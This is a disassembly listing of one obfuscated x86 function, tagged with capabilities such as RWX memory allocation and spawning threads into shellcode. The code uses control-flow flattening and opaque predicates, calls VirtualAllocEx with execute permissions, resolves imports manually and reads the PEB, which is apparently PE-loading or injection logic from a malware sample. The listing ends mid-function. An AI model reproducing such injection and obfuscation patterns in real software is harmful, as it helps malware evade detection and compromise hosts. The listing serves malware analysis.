Function at 0x40f1c0
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x19c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x19c], eax
mov eax, dword [0x451080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov ecx, dword [0x452574]
mov eax, dword [0x452570]
mov edx, ecx
add edx, 0x3b76e24e
sub edx, 1
sub edx, 0x3b76e24e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x18e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x18d], al
mov dword [ebp - 0x194], 0x549e6d83
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x1a0], eax
sub eax, 0x812f4c91
je 0x412dee
jmp 0x40f243
mov eax, dword [ebp - 0x1a0]
sub eax, 0x81c97185
je 0x411642
jmp 0x40f259
mov eax, dword [ebp - 0x1a0]
sub eax, 0x834e66d2
je 0x41380b
jmp 0x40f26f
mov eax, dword [ebp - 0x1a0]
sub eax, 0x845069a4
je 0x413099
jmp 0x40f285
mov eax, dword [ebp - 0x1a0]
sub eax, 0x87033002
je 0x410a6d
jmp 0x40f29b
mov eax, dword [ebp - 0x1a0]
sub eax, 0x88208639
je 0x41111a
jmp 0x40f2b1
mov eax, dword [ebp - 0x1a0]
sub eax, 0x88a0518e
je 0x412dc1
jmp 0x40f2c7
mov eax, dword [ebp - 0x1a0]
sub eax, 0x898b123d
je 0x41288d
jmp 0x40f2dd
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8a52faa7
je 0x413cf5
jmp 0x40f2f3
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8ce0a219
je 0x4124f0
jmp 0x40f309
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8dfca714
je 0x413114
jmp 0x40f31f
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8fa8903d
je 0x4129c1
jmp 0x40f335
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8fbd1dac
je 0x410d84
jmp 0x40f34b
mov eax, dword [ebp - 0x1a0]
sub eax, 0x905385b6
je 0x412e3f
jmp 0x40f361
mov eax, dword [ebp - 0x1a0]
sub eax, 0x928ed75b
je 0x411c8c
jmp 0x40f377
mov eax, dword [ebp - 0x1a0]
sub eax, 0x92c18add
je 0x412c61
jmp 0x40f38d
mov eax, dword [ebp - 0x1a0]
sub eax, 0x96e92cab
je 0x411b18
jmp 0x40f3a3
mov eax, dword [ebp - 0x1a0]
sub eax, 0x97a23770
je 0x412dd0
jmp 0x40f3b9
mov eax, dword [ebp - 0x1a0]
sub eax, 0x97d11616
je 0x413ba4
jmp 0x40f3cf
mov eax, dword [ebp - 0x1a0]
sub eax, 0x97e831df
je 0x411948
jmp 0x40f3e5
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9b896fa3
je 0x410a4c
jmp 0x40f3fb
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9d8550fc
je 0x411d79
jmp 0x40f411
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9dc87976
je 0x41320e
jmp 0x40f427
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9df51edb
je 0x4134a3
jmp 0x40f43d
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9f15e512
je 0x411f9a
jmp 0x40f453
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9f8feedb
je 0x412ad8
jmp 0x40f469
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa00eddf0
je 0x4136e8
jmp 0x40f47f
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa24ab366
je 0x4115d7
jmp 0x40f495
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa41aa065
je 0x410a97
jmp 0x40f4ab
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa65f0a9a
je 0x410ee9
jmp 0x40f4c1
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa6cf9b76
je 0x413b89
jmp 0x40f4d7
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa9593403
je 0x410e47
jmp 0x40f4ed
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa9ab14f2
je 0x412292
jmp 0x40f503
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa9d49dc8
je 0x413271
jmp 0x40f519
mov eax, dword [ebp - 0x1a0]
sub eax, 0xab1a3955
je 0x412695
jmp 0x40f52f
mov eax, dword [ebp - 0x1a0]
sub eax, 0xacc03808
je 0x411473
jmp 0x40f545
mov eax, dword [ebp - 0x1a0]
sub eax, 0xad449b90
je 0x413bb9
jmp 0x40f55b
mov eax, dword [ebp - 0x1a0]
sub eax, 0xae7277a9
je 0x41274f
jmp 0x40f571
mov eax, dword [ebp - 0x1a0]
sub eax, 0xaefc7b06
je 0x413bda
jmp 0x40f587
mov eax, dword [ebp - 0x1a0]
sub eax, 0xaf695331
je 0x413e81
jmp 0x40f59d
mov eax, dword [ebp - 0x1a0]
sub eax, 0xaf817a46
je 0x412575
jmp 0x40f5b3
mov eax, dword [ebp - 0x1a0]
sub eax, 0xafa84285
je 0x4133ac
jmp 0x40f5c9
mov eax, dword [ebp - 0x1a0]
sub eax, 0xafbdd62e
je 0x413c8c
jmp 0x40f5df
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb1ed6812
je 0x4116d9
jmp 0x40f5f5
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb2453a83
je 0x411bd3
jmp 0x40f60b
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb37c0aaf
je 0x413de9
jmp 0x40f621
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb4fadac8
je 0x413d71
jmp 0x40f637
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb7c063f3
je 0x4117cd
jmp 0x40f64d
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbaaa5fe9
je 0x413333
jmp 0x40f663
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbb180f8d
je 0x410c59
jmp 0x40f679
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbb794619
je 0x413123
jmp 0x40f68f
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbf312732
je 0x41360a
jmp 0x40f6a5
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbfe66de2
je 0x41249f
jmp 0x40f6bb
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc0b478fd
je 0x4132c5
jmp 0x40f6d1
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc1be19fc
je 0x4130a8
jmp 0x40f6e7
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc1ef1640
je 0x41213c
jmp 0x40f6fd
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc216bba1
je 0x4137b2
jmp 0x40f713
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc2c99ce8
je 0x410952
jmp 0x40f729
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc3962564
je 0x412ba4
jmp 0x40f73f
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc42e59f2
je 0x412cb2
jmp 0x40f755
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc42f0fb9
je 0x4125cd
jmp 0x40f76b
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc4e8d0fc
je 0x412627
jmp 0x40f781
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc52dd8bf
je 0x412247
jmp 0x40f797
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc5654adc
je 0x41207b
jmp 0x40f7ad
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc78e97f0
je 0x412a19
mov eax, dword [0x452574]
mov ecx, dword [0x452570]
mov edx, eax
sub edx, 0x817c25ac
sub edx, 1
add edx, 0x817c25ac
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x441a3260
mov ecx, 0x32ea0b41
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov dl, byte [ebp - 0xe5]
mov eax, 0xa41aa065
mov ecx, 0x87033002
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov eax, dword [ebp - 0x18c]
mov dword [eax], 1
mov dword [ebp - 0x194], 0xf5d56ba5
jmp 0x413ea0
mov eax, dword [ebp - 0x178]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.0041f8c0
add esp, 0xc
mov eax, dword [ebp - 0x174]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.0041f8c0
add esp, 0xc
mov eax, dword [ebp - 0x174]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x17c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x170]
mov edx, dword [ecx + 0xa0]
mov dword [eax], edx
mov ecx, dword [ecx + 0xa4]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x38
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x194], 0x1e79b56e
jmp 0x413ea0
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0x194], 0x775ce21e
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x198], eax
jmp 0x413ea0
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x17c]
mov ecx, dword [ecx]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0xd1], al
mov dword [ebp - 0x194], 0x35d3c3cb
jmp 0x413ea0
mov eax, dword [ebp - 0xcc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd0]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov eax, dword [0x452574]
mov ecx, dword [0x452570]
mov edx, eax
add edx, 0xb16e4b7e
sub edx, 1
sub edx, 0xb16e4b7e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x74ea019a
mov ecx, 0xd7e14433
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x194], 0x479ef0ae
jmp 0x413ea0
mov eax, dword [0x452574]
mov ecx, dword [0x452570]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x250baa92
mov ecx, 0x40468191
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov ecx, dword [ebp - 0xa8]
sub ecx, 0xf5bab08d
sub ecx, eax
add ecx, 0xf5bab08d
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
add ecx, 0xf72e64d4
add ecx, eax
sub ecx, 0xf72e64d4
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [ebp - 0x154]
mov dword [eax], 0
mov dword [ebp - 0x194], 0x2889663
jmp 0x413ea0
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov edx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax]
sub ecx, 0x5ab74744
add ecx, 8
add ecx, 0x5ab74744
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov dword [ebp - 0x194], 0x81c97185
jmp 0x413ea0
mov eax, dword [ebp - 0x144]
mov dword [eax], 0
mov dword [ebp - 0x194], 0x452b5592
jmp 0x413ea0
mov ecx, dword [0x452574]
mov eax, dword [0x452570]
mov edx, ecx
add edx, 0xccdd49c1
sub edx, 1
sub edx, 0xccdd49c1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x97d11616
mov ecx, 0x3bd66b3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov ecx, dword [0x452574]
mov eax, dword [0x452570]
mov edx, ecx
sub edx, 0x779daaa5
sub edx, 1
add edx, 0x779daaa5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xad449b90
mov ecx, 0x4fda286b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov ecx, dword [0x452574]
mov eax, dword [0x452570]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaefc7b06
mov ecx, 0x4c4420e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov dword [ebp - 0x194], 0x452b5592
jmp 0x413ea0
mov ecx, dword [0x452574]
mov eax, dword [0x452570]
mov edx, ecx
sub edx, 0x4c648d44
sub edx, 1
add edx, 0x4c648d44
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xca459c52
mov ecx, 0x38085cbc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov eax, dword [0x452574]
mov ecx, dword [0x452570]
mov edx, eax
sub edx, 0x69b4940a
sub edx, 1
add edx, 0x69b4940a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe4f6739d
mov ecx, 0x9a9a10e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x13c]
imul ecx, dword [ecx], 0x14
add eax, ecx
add eax, 0x10
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x194], 0x3ff6ca3d
jmp 0x413ea0
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x13c]
imul ecx, dword [ecx], 0x14
add eax, ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x74]
add ecx, 0x77a827dc
add ecx, eax
sub ecx, 0x77a827dc
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov edx, dword [ebp - 0x134]
mov eax, 0x42935686
mov ecx, 0x70775a4e
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x12c]
mov ecx, dword [ecx]
cmp dword [eax + ecx*4], 0
setne al
and al, 1
mov byte [ebp - 0x6a], al
mov dword [ebp - 0x194], 0x74119c05
jmp 0x413ea0
mov ecx, dword [0x452574]
mov eax, dword [0x452570]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x71f4c77e
mov ecx, 0xcc12a019
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
add eax, 2
mov ecx, dword [ebp - 0x134]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov dword [ebp - 0x194], 0x3fe7fa87
jmp 0x413ea0
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x13c]
imul ecx, dword [ecx], 0x14
add eax, ecx
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x194], 0xebe7de0f
jmp 0x413ea0
mov eax, dword [0x452574]
mov ecx, dword [0x452570]
mov edx, eax
add edx, 0x5e051edc
sub edx, 1
sub edx, 0x5e051edc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdd6212e8
mov ecx, 0x8ce0a219
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov ecx, dword [0x452574]
mov eax, dword [0x452570]
mov edx, ecx
add edx, 0x6335c66a
sub edx, 1
sub edx, 0x6335c66a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdd6212e8
mov ecx, 0xf2edec80
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov eax, dword [ebp - 0x13c]
mov ecx, dword [eax]
add ecx, 0x62518a7a
add ecx, 1
sub ecx, 0x62518a7a
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov dword [ebp - 0x194], 0x53ee5e04
jmp 0x413ea0
mov dword [ebp - 0x194], 0xe8f589a6
jmp 0x413ea0
mov ecx, dword [0x452574]
mov eax, dword [0x452570]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3221f183
mov ecx, 0xab1a3955
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov eax, dword [ebp - 0x118]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov ecx, dword [0x452574]
mov eax, dword [0x452570]
mov edx, ecx
sub edx, 0x937feb33
sub edx, 1
add edx, 0x937feb33
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3221f183
mov ecx, 0x13a078a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov eax, dword [ebp - 0x58]
mov ecx, 0xffffffff
xor ecx, 0x40000000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x5138ac2b
mov ecx, 0x508aa053
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov dword [ebp - 0x194], 0x799d82f1
jmp 0x413ea0
mov dword [ebp - 0x194], 0x27828269
jmp 0x413ea0
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x80000000
mov ecx, 0xffffffff
xor ecx, 0xdf3d83cc
or eax, edx
or ecx, 0xdf3d83cc
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x194], 0x44e2b546
jmp 0x413ea0
mov eax, dword [ebp - 0x118]
mov dword [eax], 4
mov eax, dword [0x452574]
mov ecx, dword [0x452570]
mov edx, eax
sub edx, 0x21fc60ac
sub edx, 1
add edx, 0x21fc60ac
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x20393501
mov ecx, 0x532a3647
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov eax, dword [0x452574]
mov ecx, dword [0x452570]
mov edx, eax
sub edx, 0x462d7b54
sub edx, 1
add edx, 0x462d7b54
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf6d75d20
mov ecx, 0xc42e59f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov dword [ebp - 0x194], 0x3ac14f2
jmp 0x413ea0
mov dword [ebp - 0x194], 0x97a23770
jmp 0x413ea0
mov edx, dword [ebp - 0x48]
mov eax, 0xebe230b6
mov ecx, 0x812f4c91
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov eax, dword [0x452574]
mov ecx, dword [0x452570]
mov edx, eax
add edx, 0x4ee1accb
sub edx, 1
sub edx, 0x4ee1accb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb37c0aaf
mov ecx, 0x905385b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x20000000
mov ecx, 0xffffffff
xor ecx, 0x3619030
or eax, edx
or ecx, 0x3619030
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x44], eax
mov eax, dword [0x452574]
mov ecx, dword [0x452570]
mov edx, eax
add edx, 0x6e2960ce
sub edx, 1
sub edx, 0x6e2960ce
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb37c0aaf
mov ecx, 0x30181c91
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov dword [ebp - 0x194], 0xc1be19fc
jmp 0x413ea0
mov edx, dword [ebp - 0x40]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x40000000
mov eax, 0xffffffff
xor eax, 0x7a2bad5
or edx, ecx
or eax, 0x7a2bad5
xor edx, 0xffffffff
and edx, eax
mov eax, 0x8dfca714
mov ecx, 0xea696159
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov dword [ebp - 0x194], 0xbb794619
jmp 0x413ea0
mov dword [ebp - 0x194], 0x3ac14f2
jmp 0x413ea0
mov dword [ebp - 0x194], 0x27828269
jmp 0x413ea0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov esi, dword [ebp - 0x34]
add esi, 0x76c6e170
add esi, eax
sub esi, 0x76c6e170
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.0040efe0
add esp, 0x10
mov dword [ebp - 0x194], 0xc0b478fd
jmp 0x413ea0
mov ecx, dword [0x452574]
mov eax, dword [0x452570]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1f7f2f7f
mov ecx, 0xbaaa5fe9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov ecx, dword [0x452574]
mov eax, dword [0x452570]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1f7f2f7f
mov ecx, 0xafa84285
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov dword [ebp - 0x194], 0xbbfa88a
jmp 0x413ea0
mov ecx, dword fs:[0x30]
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 0xc
sub eax, ecx
mov ecx, dword [eax]
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov dword [ebp - 0x194], 0x5582d20b
jmp 0x413ea0
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov ecx, dword [0x452574]
mov eax, dword [0x452570]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaf695331
mov ecx, 0x433d4f10
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x413ea0
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x194], 0x5908c03a
jmp 0x413ea0
mov ecx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0x18]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [ebp - 0x194], 0x6624fd3a
